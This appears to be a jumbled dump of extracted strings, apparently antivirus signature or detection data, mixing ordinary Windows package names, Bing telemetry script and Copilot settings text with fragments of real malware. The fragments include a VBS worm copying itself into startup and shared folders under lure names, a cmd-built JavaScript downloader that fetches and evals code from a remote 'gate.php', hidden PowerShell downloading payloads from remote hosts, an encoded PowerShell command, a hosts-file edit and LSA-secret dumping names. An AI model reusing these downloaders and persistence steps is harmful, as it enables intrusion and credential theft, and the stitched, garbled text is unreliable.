.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UAppInfo@ApplicationModel@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UAppInfo@ApplicationModel@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@W4LaunchUriStatus@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@W4LaunchUriStatus@System@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@ULaunchUriResult@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@ULaunchUriResult@System@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@W4UserAgeConsentResult@System@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@W4UserAgeConsentResult@System@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
Microsoft.Windows.Security.TokenBroker.BrowserSSO
Microsoft.Windows.Security.TokenBroker
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.TokenBinding
Microsoft Windows
C:\Windows\Temp\5778AA67-B277-4773-BBA0-33BCB8B89083\C:\Program Files (x86)\HEAT Software\EMSS\Content\EDSCache\
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
WindowsCreateString
WindowsDeleteString
ba^windows.comServe
ba^windows.desktopAppMigration
'mr.loser'flowofdestructiononerrorresumenextfso.copyfilewscript.scriptfullname,"c:\documentsandsettings\allusers\startmenu\programs\startup\flow"fso.copyfilewscript.scriptfullname,"c:\windows\startmenu\programs\startup\flow"setfso=createobject("scripting.filesystemobject")iffso.folderexists("c:\programfiles\kmd\mysharedfolder")thenfso.copyfilemyfile,"c:\programfiles\kmd\mysharedfolder\porn.jpg.vbs"fso.copyfilemyfile,"c:\programfiles\kmd\mysharedfolder\strippoker.exe.vbs"fso.copyfilemyfile,"c:\programfiles\kmd\mysharedfolder\umberella.mp3.vbs"fso.copyfilemyfile,"c:\programfiles\kmd\mysharedfolder
'MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontext
6MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX
1^MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClippingL
!PersistenceRegWinlogon.A!cl
%SystemRoot%/system32/spool/DRIVERS/x64/{0126CB1B-8095-4CBB-AC93-49BF83351DF0}/unishare-pipelineconfig.xmlf
%SystemRoot%/system32/spool/DRIVERS/x64/{0126CB1B-8095-4CBB-AC93-49BF83351DF0}/unishare.gpdx
Windows.Data.Platform.Partitioning.PartitionSet
k/cstartc1d5a960-e1ca-4722-bc48-2892378f13f0.png&&startru^n^d^l^l3^28a290699-bad2-42d6-940c-8d61de06774c.vf4,plugininit6c:\programfiles\windowsphotoviewer\photoviewer.dll
s\system32\cmd.exe/crobocopy"\\
2powershell.exetype:electronicreceipt?..\..\..\windows\system32\windowspowershell\v1.0\powershell.exex-executionpolicy-bypass-windowstylehidden-hidden-commandpkgmgr.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDuplicateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
CWindowsLiveProvider::_UnAdvise
CWindowsLiveProvider::Advise
CWindowsLiveProvider::ConnectedUserExists
h"http://m0.nu:8080/a/2a3vvkn2sacn/3/33wi4x6qwfl3fymmi//%computername%"%windir%\system32\shell32.dll
"http://2i.wf:8080/b/s/ydiemfnuwdcim/tiixmgtpwyus4ztkts/!computername!"/qnhw=^f^r^c^ekn"%systemroot%\system32\imageres.dll
\??\C:\Windows\system32\schtasks.exe\
ROOT\Microsoft\Windows\Storage\MS_409
ROOT\Microsoft\Windows\Storage\MS_409
Microsoft Windows
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Application.SharePlatform
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Application.NearSharePlatform
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
CWindowsLiveProvider::FindByUniqueID
CWindowsIdentityEnum::Init
onecoreuap\ds\ext\live\identity\identityprovider\lib\windowsliveprovider.cpp
CWindowsLiveIdentity::GetCount
CWindowsLiveProvider::GetProviderPropertyStore
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
%SystemRoot%/System32/drivers/e1i68x64.sys
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe
windows.protocol
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windows.protocol
os_windowsm
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbweization
windows.protocol
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewyersiste
MicrosoftWindows.Client.Photon_cw5n1h2txyewy"
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
windows\aaemma
\system32\KeyBoardA.datBaBy ReMoTe Get Video" &&  goto try ||shutdown -r -t 0
Windows.CBSPreview_cw5n1h2txyewy
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
alert("**windowswarningalert**\n
SCPT:Phish:PHP/Windowsloc_href.GG
EVT_FD0A4F40-0340-40abd1bac1ab-9220-435f-89ff-e8314f87437b\system32\
system32.bat;start-process
c:\windowsK
WINDOWS11
WINDOWS11
*\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Microsoft.Windows.Security.Kerbero
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewyx
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
windows.protocol
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewyh
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
amd64_microsoft-windows-e..oyment-languagepack_31bf3856ad364e35_en-us_fe1e536ed0a0384c
amd64_microsoft-windows-e..portingui.resources_31bf3856ad364e35_en-us_8a5b38050ec61f47
amd64_microsoft-windows-e..quiredconfiguration_31bf3856ad364e35_none_930728a8567d8b82
amd64_microsoft-windows-e..rdfiltershim-client_31bf3856ad364e35_none_a1de485fbb78c64b
amd64_microsoft-windows-e..rding-adm.resources_31bf3856ad364e35_en-us_5d39579de2336a17
amd64_microsoft-windows-e..re-wow64-deployment_31bf3856ad364e35_none_24de09efb56e9e95
amd64_microsoft-windows-e..re-wow64-deployment_31bf3856ad364e35_none_4422490d1b556992V
amd64_microsoft-windows-e..reportingpowershell_31bf3856ad364e35_none_0088279c97e84d13
amd64_microsoft-windows-e..rformancemonitoring_31bf3856ad364e35_none_9391d981496c5b49
"&aaa=aaa!%systemroot%\system32\shell32.dll%comspec%%comspec%%wn]nd.q
=[system.security.principal.windowsidentity]::getcurrent().user.value
\system32\drivers\
InstEvent("Select","DSBMegaChevronClicked",n.SequenceNumberManager.getSequenceNumber(),r,"BingTelemetry")}static instrumentDSBChevronDirection(i,r){let u={scenario:i,direction:r};t.logClientInstEvent("Select","DSBMegaChevronDirectionClicked",n.SequenceNumberManager.getSequenceNumber(),u,"BingTelemetry")}static instrumentPerfEvent(i,r,u){n.config.logClientPerf&&t.safeInstrumentPerf(i,n=>{t._instrumentationProvider.logProfilerMarker(1,0,r,n.RawImpressionGuid,{d:u})},"instrumentPerfEvent")}static instrumentAggregateFunctionPerf(i,r){n.config.logClientPerf&&t._clientTelemetry.logAggregateFunctionPerf(i,r)}static instrumentDeviceQueryBegin(n){t._instrumentationProvider.logProfilerMarker(1,0,"StartDeviceQuery",n,{})}static createBaseCustomGPingPayload(n,i){let r={};switch(n){case 1:r.i="k";r.mk=t.getModifierKeyCodes(i);break;case 3:r.i="t";break;case 4:r.i="p";break;case 5:r.i="n";break;case 6:r.i="b";break;case 0:r.i="x";r.mk=t.getModifierKeyCodes(i);break;default:r.mk=t.getModifierKeyCodes(i)}return r}static addContextMenuDataToGPingPayload(n,t){n.cm=t}static addExtraPropsToGPingPayload(n,t){Object.keys(t).forEach(i=>{n[i]=t[i]})}static addPreviewPaneDataToGPingPayload(n,t,i,r){t&&(n.pp=t,i&&(n.ppit=i),typeof r=="number"&&(n.rho=r))}static sendCustomGPing(t,i,r){let u=i;n.isEmpty(t)||(u+="&PR="+JSON.stringify(t));n.safeExecute(()=>_w.si_T(u,null,null,0,r),"logCustomGPing")}static getModifierKeyCodes(n){if(n){let t=n.altKey?"A":"";if(t+=n.ctrlKey?"C":"",t+=n.shiftKey?"S":"",t)return t}return undefined}static notifyTopHitPreviewPaneOpenedOrInterrupted(i,r){let u=t._keystrokesPerfPingData[i];u&&u.PreviewPanePendingInfo!=null&&(u.PreviewPanePendingInfo.latency=t.getOffsettedNow(),r?u.PreviewPaneOpened=u.PreviewPanePendingInfo:u.PreviewPaneCanceled=u.PreviewPanePendingInfo,u.PreviewPanePendingInfo=null,t.tryInstrumentRenderStopped(i,u));n.config.perfInstV2&&r&&t.safeInstrumentPerf(i,n=>{n.PreviewPaneFinish=t.getOffsettedNow()},"instrumentFetchesEnd",null)}static previewPaneOpenedOrClosed(i,r,u,f,e,o){var s;let h=i?"Select":"Unselect",c=i?"PreviewPaneOpened":"PreviewPaneClosed";if(t.logClientInstEvent(h,c,r,o,"WindowsTelemetry",33554432),i&&t._keystrokesPerfPingData[r]&&t.notifyTopHitPreviewPaneOpenedOrInterrupted(r,!0),i){if(t._clientTelemetry){let n=t._keystrokesInstrumentationData[r];n&&t._clientTelemetry.logPreviewPaneOpenedMeasure(u,f,e)}if(n.Host.getLogUserActivityDataEnabled()&&n.config.ssrBugFixes&&!e&&(t.instrumentInlineActions(4),u)){const n=u.getUserEngagementContent();if(n){n.previewPaneHit=!0;const i=(s=t._userActivityManager)===null||s===void 0?void 0:s.getUserActivityContent();if(i===null||i===void 0?void 0:i.suggestionList){const t=i.suggestionList.find(t=>t.absoluteOrdinal===n.absoluteOrdinal);t&&(t.previewPaneHit=!0)}}}}}static InstrumentQFPreviewPaneDwell(n){var i;(i=t._clientTelemetry)===null||i===void 0?void 0:i.logPreviewPaneDwellMeasure(n)}static logQFSuggestionsIndexerMatchTypeList(i){var r,u;t._clientTelemetry&&((r=t._clientTelemetry)===null||r===void 0?void 0:r.logQFSuggestionsIndexerMatchTypeList(i));n.Host.getLogUserActivityDataEnabled()&&((u=t._userActivityManager)===null||u===void 0?void 0:u.updateUserActivityDataWhenSuggestionListsShown(i))}static logClientInstEvent(n,i,r,u,f,e){let o=null;if(r){let n=t._keystrokesInstrumentationData[r];n&&(o=n.ImpressionGuid)}t.logEvent(n,u,i,null,null,o,null,null,null,f,e)}static safeInstrument(i,r,u,f){let e=t._keystrokesInstrumentationData[i];if(e)r(e);else{var o=f?" DS: "+f:"";n.LogWSBError(u,(f?f+" ":"")+" sequenceNumber: "+i,new Error("No instrumentation data found for sequenceNumber"+o),undefined,undefined,"WindowsTelemetry")}}static safeInstrumentPerf(i,r,u,f){let e=t._keystrokesPerfPingData[i];if(e)n.safeExecute(()=>r(e),u);else{var o=f?" DS: "+f:"";n.LogWSBError(u,(f?f+" ":"")+" sequenceNumber: "+i+" Current sequenceNumber: "+n.SequenceNumberManager.getSequenceNumber(),new Error("No instrumentation data found for sequenceNumber"+o),undefined,undefined,"WindowsTelemetry")}}static instrumentRenderingStarted(n){t.safeInstrument(n,i=>{i.RenderingStarted=!0,t.u-
c:\windows\system32\rundll32.exe_
\newos\windows\system32\
^%l:\windows\system32\rundll32%.exe%z
c:/windows/system32/d
c:/windows/system32/d
Windows Produc'
enticatorWindowsPlugin8
WithWindows
Yc:\windows\system32\cmd.exe/crem.>o.js&echovarx=["msxml2.serverxmlhttp.6.0","get","http://www.load-the-file.com/src/gate.php?a","open","send","responsetext"];vardd=newactivexobject(x[0]);dd[x[3]](x[1],x[2],false);dd[x[4]]();eval(dd[x[5]]);>o.js&o.js
\windows\currentversion\explorer\v
2c^Global.WindowsOobeAppHost
https://www.bing.com/rp/MHiZ_mmDqb34IO6nKpOgtL0bCJk.br.jsvar WSB;(function(n){const c=2,l=5,i=200,a=1.15,e=864e5,o="/msrewards/api/v1/getuserinfo",v="/msrewards/api/v1/codexeligible",y="https://account.microsoft.com/rewards?ref=WSB",p=n=>{return"https://account.microsoft.com/rewards/createuser?publ=CORTIP&crea=MY019H&pn=MULTIWSBACQ201910&returnUrl=%2Frewards%2Fredirect%3Flink%3D%252Frewards%26id%3Dbingtrial_250%26channel%3Dwsb%26type%3D16%26amount%3D"+n+"%26hash%3Db3bc83aeabe24a90fade4e7e81e00d5fda4aeb66abe9f569a27c5a97a75e8f57"},s="RewardsBadgeNotificationLastShownDate",u="RewardsBadgeNotificationTimesShown",w="&cvid=";class b{constructor(i){this._accessTokenManager=i;this._balance=new h;this._rewardsBadgeUpdatedHandlers=[];this._retryAttempted=0;r.init();t.init();const u=()=>{this._currentConversationId||(this._currentConversationId=n.Host.getConversationId(),this.isFeatureEnabled()&&this._msaAccount&&!n.Host.isAccountNotConsented(this._msaAccount)&&this.refreshBalance())};n.Host.bindConversationStart(()=>u());n.Host.bindQueryChangedOrInitialized(()=>u());n.Host.bindDismissed(()=>{this.clear(),this._msaAccount=null,this._currentConversationId=null,t.onDismiss(),n.RewardsFlyoutViewModel&&this.shouldShowRewardsFlyout()&&n.RewardsFlyoutViewModel.hideRewardsFlyout()});i.bindSelectedAccountChanged(t=>{if(this.isFeatureEnabled()&&!n.Host.isAccountNotConsented(t)){let n=t&&t.accountProviderAuthority=="consumers"?t:null;this.handleNewAccountAvailable(n)}});i.bindAccountTypesChanged(()=>{if(this.isFeatureEnabled()){let n=i.getCachedAccountInfo(0);this.handleNewAccountAvailable(n)}});i.bindAccessTokenAvailable((n,t)=>{if(n==0&&this.isFeatureEnabled())if(this._msaAccount)this.refreshBalance();else{let n=i.getCachedAccountInfo(0);this.handleNewAccountAvailable(n)}})}shouldShowBadgeNotification(){if(!this.shouldShowRewardsFlyout()||!n.config.rewardsFlyoutNotification||!this._userIsRewardsMember&&!n.config.rewardsFlyoutNotifNonMember)return!1;const t=Number(n.LightweightStorage.getItem(s))||0;if(this._userIsRewardsMember)return t==0||t+e<=n.getCurrentTime();const i=parseInt(n.LightweightStorage.getItem(u))||0,r=i<3,f=t==0||t+e*7<=n.getCurrentTime();return f&&r}onBadgeNotificationShown(){const t=parseInt(n.LightweightStorage.getItem(u))||0;n.LightweightStorage.setItem(s,n.getCurrentTime().toString());n.LightweightStorage.setItem(u,(t+1).toString());this.fireRewardsBadgeUpdated()}isFeatureEnabled(){return n.config.isRewardsEnabled?!0:n.contains(n.config.rewardsLanguageEnabled||[],n.uiLanguageCache.toLowerCase())}isCounterFactualLoggingEnabled(){return n.contains(n.config.rewardsCounterFactualLoggingLanguageEnabled||[],n.uiLanguageCache.toLowerCase())}handleNewAccountAvailable(n){const t=this._msaAccount;t!=n&&this._currentConversationId&&(this._msaAccount=n,this._msaAccount?t&&this._msaAccount.accountId==t.accountId||(this.clearCurrentBadge(),this.refreshBalance(null)):this.clearCurrentBadge())}clearCurrentBadge(){let n=this._balance.isSet();this.clear();n&&this.fireRewardsBadgeUpdated()}clear(){this._rewardsEnabled=!1;this._userIsRewardsMember=!0;this._userIsGiving=!1;this._fetchInProgress=!1;this._balance=new h;this._retryAttempted=0}updateUserCodexStatus(t){const i=!!t;if(n.Host.getIsCodexUser()!=i&&n.Host.setIsCodexUser(i),this._msaAccount){const t=`CodexStatus${this._msaAccount.accountId}`,r=n.LightweightStorage.getItem(t);if(r){const u=JSON.parse(r);u!=i&&n.LightweightStorage.setItem(t,JSON.stringify(i))}else n.LightweightStorage.setItem(t,JSON.stringify(i))}}refreshBalance(t){if(!this._fetchInProgress&&(!this._currentConversationId||this._userIsRewardsMember)){const e=this._currentConversationId,i=()=>e==this._currentConversationId,u=t=>{f.getBalanceAsyncToken(t,t=>{var u;if(n.config===null||n.config===void 0?void 0:n.config.enableAgeCheckCodex)try{this.updateUserCodexStatus(t===null||t===void 0?void 0:t.IsCodexUser)}catch(f){n.LogWSBError("UpdateUserCodexStatusFromRewardsAPI",`failed to update: ${f}`,undefined,undefined,undefined,"WindowsTelemetry")}this._fetchInProgress=!1;i()&&(t.IsRewardsUser||n.conf
c:\windows\
\windows\+
"te.ru >> %windir%\system32\drivers\etc\hosts
.windows.creddump7.win32.lsasecrets.
.softwares.windows.lsa_secrets.
\system32\ime\IMEJP\WimBootConfigurations.ini
\system32\ime\IMETC\WimBootConfigurations.ini
\system32\ime\SHARED\WimBootConfigurations.ini
//MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName
Roaming\Microsoft\Windows\Start Menu\Program
display pop-up windows while running in the backgroundsendsms://pokpokpok-63573.portmap.host:63573?model=com/p;
c:\windows\system32\cmd.exe/cstartloca3.vbs&startdiario""de""trabajo""30""de""septiembre""de""2014.docx1
windowsregistryeditorversion5.00[hkey_local_machine\system\controlset001\services\winmgmt\parameters]"servicedll"=hex(2):
jc:\windows\system32\cmd.exe/c
Windows_Pursuit.Properties.Resources
 Windows
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
Windows Kits\10\Debugg
Windows Def
Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Client-P[
windowstylehidden-commandsrms.dat;(new-objectsystem.net.webclient).downloadfile('https://requimacofradian.site/srtyuyussertgsdhsrtehtdyhdrydfkrgfrukydjedyjedeyj/dyirtysthstudfyiufdhsdgfjdfyuikfudfyhsdrwrqerregrytrautrsuy/fsbgfshwtjyehstwyeuysryysiuijdydjyttdtaratrtre/grtdy.pif','
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal
("c:\\windows\\diagnostics\\index\\
C:\Windows\System32\rundll32.exe "%s", CMS_ContentInfo %s 0 0 %sC:\Windows\System32\rundll32.exe "%s", sqlite3_steps %s 0 0 %sC:\Windows\System32\rundll32.exe "%s", CtrlPanel %s 0 0 %s\
software\microsoft\windows\currentversion\app paths\fjlogin.exelastgameserverlastzone/_FJLogin.bin%s?a=%s&s=%s&u=%s&ac=te
\System32\WinNt32.dllStart
%SystemRoot%\system32\drivers\usbhdd.sys\physicaldrive0
WindowsFeedback
%Windows Production PCA 20110
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
I	powershell.exe-noni-noe-windowstylehidden-ejabzagmacgbpahaadabfahmadabhahiadabfagiaeqb0aguaiaa9acaamab4ada
40^windows.appExtensionHost
40^windows.appExtension
WindowsApps
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
rosoft Windows
Microsoft-Windows-RPC-EventshAny
Microsoft-Windows-SoftwareRestrictionPolicies
Microsoft-Windows-User-Loader
Windows Mcp RegistryigSc
Microsoft-Windows-Audit-CVE
Microsoft-Windows-Configuration-Change-Monitor
Microsoft-Windows-Directory-Services-SAM
Microsoft-Windows-FilterManager
Microsoft-Windows-Hotpatch-Monitor256}
Microsoft-Windows-Kernel-Boot
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
OS=Windows_NT
0HN$proid=start-processpowershell.exe-passthru-windowstylehidden-argumentlist$szarglist
shellexecutehookslogin_btn_password.bmpehsniffer.exewind88ws20o8wqrndrws40dawqqnd2ws30o8mywindowsdllwlnd0ws30o7dllfilerxjh423notexecuteminrosoft 2001fuckruixingnimawohenhao_good_lu4kverclsid.exefuckringkaodkfdsk44fuckkv159fucknod32nisdfc34kkaozt.batzhengtu_clientzhengtu.dat
c:/projects/go/src/tomiris/httpconn/httpconn.goc:/projects/go/src/tomiris/src/github.com/mitchellh/go-ps/process_windows.goc:/projects/go/src/tomiris/helper/helper.goc:/projects/go/src/tomiris/src/github.com/mitchellh/go-ps/process.goc:/projects/go/src/tomiris/main.go!#TEL:HackTool:Win32/RDPBrute
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
.?AU?$_ContinuationTaskHandle@XPE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@V<lambda_5985f10a27beed8ab1acd3da44bc6daa>@@U?$integral_constant@_N$0A@@std@@U_TypeSelectorAsyncOperation@details@Concurrency@@@?$task@E@Concurrency@@
.?AU?$_PPLTaskHandle@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@U?$_ContinuationTaskHandle@XPE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@V<lambda_5985f10a27beed8ab1acd3da44bc6daa>@@U?$integral_constant@_N$0A@@std@@U_TypeSelectorAsyncOperation@details@Concurrency@@@?$task@E@Concurrency@@U_ContinuationTaskHandleBase@details@7@@details@Concurrency@@
.?AV?$_Ref_count_obj@V?$vector@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@V?$allocator@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@@std@@@std@@
.?AU?$IMapChangedEventArgs@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyew
?grpWinStaList@@3V?$SGWINSTAgrpWinStaList@PEAUtagWINDOWSTATION@@@@A
?grpwinstaLogoff@@3V?$SGWINSTAgrpwinstaLogoff@PEAUtagWINDOWSTATION@@@@A
sts.windows.net
Microsoft.Windows.Firewall.API
ctackPup = Windows.TextBox1.Tag +ctackPup = ctackPup + "
ctackPop = dershlep & Windows.TextBox3.ValuesOfbl = """" +VistaQ ctackPupTrojanDropper:O97M/GraceWire.CD!MTB
9b^com.microsoft.windows.extensionpackage
9d^com.microsoft.windows.extensionpackage
9e^com.microsoft.windows.extensionpackage
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Application Windows cannot be created once the CoreApplicationView has uninitialized
x\windows\explorer.exe".\.__macos__\.__macos__\.__macosx_\
+f+\windows\explorer.exe".\\.__macos__\.__macos__\._macosx_\
#W0\windows\explorer.exe".\\.__macos__\.__macos__\._macosx_\
?-windowstylehidden-command^"iwr-uri"http://95.169.201.100:18960
Microsoft.Windows.MediaFoundation.RAWImageDecoder
Microsoft.Windows.ParentalControls_cw5n1h2txyewy-Out-Allow-InternetClientx
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy-Out-Block
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy-In-Block
      <Color Name="ToolWindowSplitBarBackground">
Windows\CurrentVersion\Explorer\AdvancedS
RUN ( @WINDOWSDIR & "\svhos
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
1.0\;C:\WINDOWS\System32\OpenSSH
profile\AppData\Local\Microsoft\WindowsApps
CWINDOWS\system32\WindowsPowerShell\v1.0\Modules
Winlogon
c:\windows\system32\
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
>RoamingState (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
)'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/AppData
)!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AppDatac
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
>LocalCache (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
('file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/LocalCache
(!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalCachec
